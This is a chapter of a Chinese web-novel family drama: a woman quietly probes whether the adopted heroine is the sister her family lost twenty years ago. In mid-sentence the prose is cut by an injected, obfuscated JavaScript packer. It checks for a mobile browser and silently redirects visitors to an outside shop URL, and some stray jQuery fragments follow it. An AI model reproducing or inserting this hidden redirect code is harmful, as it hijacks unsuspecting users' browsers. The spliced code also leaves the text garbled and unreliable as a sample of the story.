32. 第 32 章
作品:《竹马别再酸了》 短暂的表情破碎之后,祝织夏很快捡起了伪装。
随即带上淡淡的微笑,“贺总还是第一个跟我说这些的人,刚才有些失态,别介意啊。”
祝织夏的笑容从来不会出错,尤其是现在,随便找了个理由搪塞过去就好,毕竟她跟贺星玥不熟。
贺星玥从刚才开始就套近乎,如果不是为了商业上的事情,那就是为了来找她家把柄,哪有一见面说别人不像本地人的?
祝织夏的伪装在贺星玥面前显得有些小儿科,为了能够明确地看懂她弟,她爸,顺便能够从科学的角度缓和她妈妈的病情。
贺星玥大学的时候系统性的学习过心理学,刚才的一切试探是她太着急的结果。
她热切地想从祝织夏这里得到些有用的信息。
祝织夏确实是领养的孩子,这些消息并不是普通人能够知道的,但贺星玥用了些手段,这么多年的公益,在这方面的人脉足够她得到这些看似无关轻重的消息。
确是压垮贺星玥最后的一根稻草。
“怎么会介意,我喜欢你还来不及,织夏,你可以叫我玥姐的,我大概只比你大了五岁。”贺星玥收回目光,看向窗外的车水马龙,语气听不出喜怒,眼底里迅速闪过一丝不易察觉的泪花,压抑了一阵情绪,回过头来。
“我之前跟你的父母谈合作的时候见过一面,今天见到你,所以才有了一些疑惑,问出了有些冒昧的问题。”
祝织夏心里泛起一丝莫名的生气,说不上是不舒服,更多的是困惑:“可能我长得像爸爸吧,所以贺……玥姐才会这么说。”她下意识地摸了摸自己的脸颊,试图用这个理由说服对方,也说服自己。
这时,服务员端着意面走了过来,打断了两人的对话。
祝织夏轻声说了句“谢谢”拿起叉子,慢慢卷着面条,却没什么胃口。
贺星玥也没再追问,只是安静地吃着自己面前的牛排,两个人似乎是默契又或是尴尬,谁也不说话。
祝织夏不喜欢这个环境,看着面前这张跟自己神似的脸,心里藏着气,似乎是专门来提醒她,她是领养的,要摆正自己的态度。
沉默持续了几分钟,贺星玥忽然放下刀叉,用餐巾擦了擦嘴角,缓缓开口:“可以给你讲个故事吗?”
祝织夏不明所以,“当然可以。”
“二十年前,我们家丢了一个孩子。”
祝织夏的动作顿住了,叉子停在半空中。
“那时候孩子刚出生不久,我在医院的保温箱里见过她,远远地看见她,眼睛特别亮。”
贺星玥的声音带着一丝不易察觉的伤感,“突然有一天,医院告诉我们……孩子丢了,她当时才十几天不到,为什么丢掉?我们家发了疯的去找。
“最后调查到是一股犯罪团伙,有组织有纪律地专门挑有权有势的孩子绑架,大多数是送到孤儿院,少部分在被绑架的路上被杀害了,那些孩子大概是养到六岁,在卖出去。”
祝织夏的心猛地一沉,一种说不清道不明的情绪在胸腔里蔓延开来。她看着贺星玥,想听她继续说下去,又有些害怕听到后续。
“我们全家疯了一样找,报警、贴寻人启事、跑遍了周边的城市,整整找了半年。”
贺星玥的目光再次落在祝织夏身上,那眼神里有怜悯,有惋惜,还有一种祝织夏读不懂的复杂情绪,“那半年里,我妈妈瘦得不成样子,头发大把大把地掉,眼里没有一点光,每天就抱着孩子的小衣服哭,有时候甚至会认错人,抓住路过的小孩就喊孩子的名字。”
“我们家当时的生意陷入困难,群狼环伺,都想要插足我们家的生意,想要从我们家获得什么。”
按理来说贺星玥不该说这些,两个人不管是名义上还是实际上,都不应该说这些,相当于吧自家的把柄丢到祝织夏的手上。
贺星玥在赌,赌祝织夏是自己妹妹。
“为了找孩子,我父亲陪着她一起找。两个人那段时间,简直是度日如年。”贺星玥叹了口气,“后来父亲不找了,带回来了一个一岁的小男孩,告诉妈妈,把他当作是自己的孩子,希望能缓解一下她内心的痛苦。”
祝织夏的脑子嗡嗡作响,像是有无数只蜜蜂在里面飞舞。
她张了张嘴,想说点什么,却发现自己喉咙发紧,一个字也说不出来。
“是贺星辞吗?”祝织夏只讷讷地说出这句话,似乎是这个贺星玥讲述的故事过于心痛,祝织夏的内心里一直被钝刀子割。
“玥姐,你告诉我这些,是什么意思?”祝织夏的声音有些发颤,她努力让自己保持镇定,可指尖还是忍不住微微发抖。
贺星玥看着她苍白的脸色,沉默了片刻,才说道:“没什么意思,只是突然见到你,想起了些伤心事,有些抱歉,向你倾诉这么多。”
她顿了顿,补充道,“这么多年我们家还是没有放弃寻找,可能是命运弄人,遇到过许多找上门来的孩子,可到最后都是空欢喜一场。”
祝织夏低下头,看着盘子里已经凉了的意面,能把这个故事告诉她,就不可能是简单的理由,但嘴上只说:“玥姐是为了向我解释,为什么贺星辞会做出这么多出格的事情吗?是因为他长大以后发现不是亲生的,所以变得叛逆?”
这么大费周章的约自己出来吃饭,见面试探祝织夏是不是江城人,她从小在江城长大,无论如何也不可能是他们贺家丢了的那个孩子。
祝织夏藏住心里的想法,视线悄悄略过贺星玥,她绝不是个简单的角色,敢这么问就是查到祝织夏是领养的。
那又如何,没有实际证据之前,一律当做胡说八道。
至于贺星辞,原来他并不是贺家的孩子,跟祝织夏一样,是被抱回来的孩子。
贺星玥先是一愣,缓缓抬起头,视线跟祝织夏对上,原来她以为今天自己大费周章地请她吃饭只是为了替贺星辞赔罪。
不过也好,祝织夏未必是她想要找的人,与其再多说些什么,不如就跟祝织夏说的那样,解释一下即可。
贺星玥目前不准备再透露出一些信息,她说的这些都是祝织夏可以在网上随便查到的消息,当初为了找孩子闹得满城风雨。
“只是一见如故,如果你用这个角度思考
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142091|194989||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,我也不反对。”贺星玥指尖轻轻摩挲着冰凉的玻璃杯壁,杯壁凝出的水珠顺着纹路滑落,像极了她眼底藏了许久的湿意。
她低低笑了一声,那笑声里裹着几分无奈,又掺着几分刻意的释然,顺着祝织夏的话接了下去:“你果然聪明。”
她抬眼看向祝织夏,目光落在对方微微颤抖的睫毛上,语气放得更缓:“星辞那孩子,打小就聪明,自己翻到领养证,初中的时候彻底按捺不住内心,走上了叛逆的路,到现在还保持着跟当时相同的做法,有时候还真是让我有些头疼。”
祝织夏不赞同贺星辞的做法,也不赞同贺星辞的想法,也不准备理解贺星辞这么做的动机。
把自己的痛苦嫁接到给别人制造困难上,贺星辞未必是个有担当的男人。
“他那些出格的举动,不是针对你,只是他不知道该怎么安放自己的情绪。”贺星玥轻轻叹了口气,“这些年,我看着他越走越偏,看着爸妈日渐憔悴,心里也急,却不知道该怎么拉他一把。”
“今天找你,一来是替他跟你道个歉,二来……也是想看看,他小子又看上什么美若天仙的姑娘了。”贺星玥满意地对祝织夏的颜值进行肯定。
祝织夏沉默着,没有接话,她跟贺星辞总归不是一路人,听着他姐姐为了他来专门在自己解释,只觉得贺星玥也有些可怜。
“我知道了。”祝织夏轻声开口,声音里的情绪已经平复了许多,“我不会再和他计较了。”
贺星玥闻言,眼底掠过一丝不易察觉的暖意,随即又被更深的复杂取代。
她端起水杯抿了一口,借着这个动作掩饰住眼底翻涌的情绪,再看向祝织夏时,脸上已经重新挂上了温和的笑。
“谢谢你,织夏。其实我今天说这些,也不全是为了星辞。只是太久没跟人说起这些事,心里堵得慌,难得遇到你,觉得……很投缘。”
祝织夏抬眸,撞进贺星玥的眼底。那里面没有了之前的试探与审视,只剩下纯粹的疲惫与温柔,像久雨初晴后的微光,轻轻落在她心上。
她忽然觉得,眼前这个女人很不容易,一步一步走到今天的位置她一定很累吧,家家有本难念的经,她们家有三本。
“以后要是心里不舒服,也可以找我说说。”祝织夏鬼使神差地说了这么一句,说完自己都愣了一下,随即又补充道,“就当是……互相倾诉吧。”
贺星玥怔住了,随即嘴角的笑意真切了几分,她点了点头,声音又变得温柔:“好。”
餐厅里的轻音乐缓缓流淌,之前弥漫在两人之间的尴尬与疏离,悄然被一种微妙的共情取代。
祝织夏终于拿起叉子,慢慢卷起意面送入口中,虽然依旧没什么胃口,却不再是之前那般食不下咽。
贺星玥看着她的动作,眼底的笑意更深,却在无人看见的角落,悄悄攥紧了手心。
她知道,自己赌的这一步,似乎有了一丝转机。
而祝织夏低头吃面的模样,眉眼间的轮廓,和记忆里那个襁褓中眼睛发亮的婴儿,渐渐重叠在了一起。
她贺星玥,赌,就要赌赢。

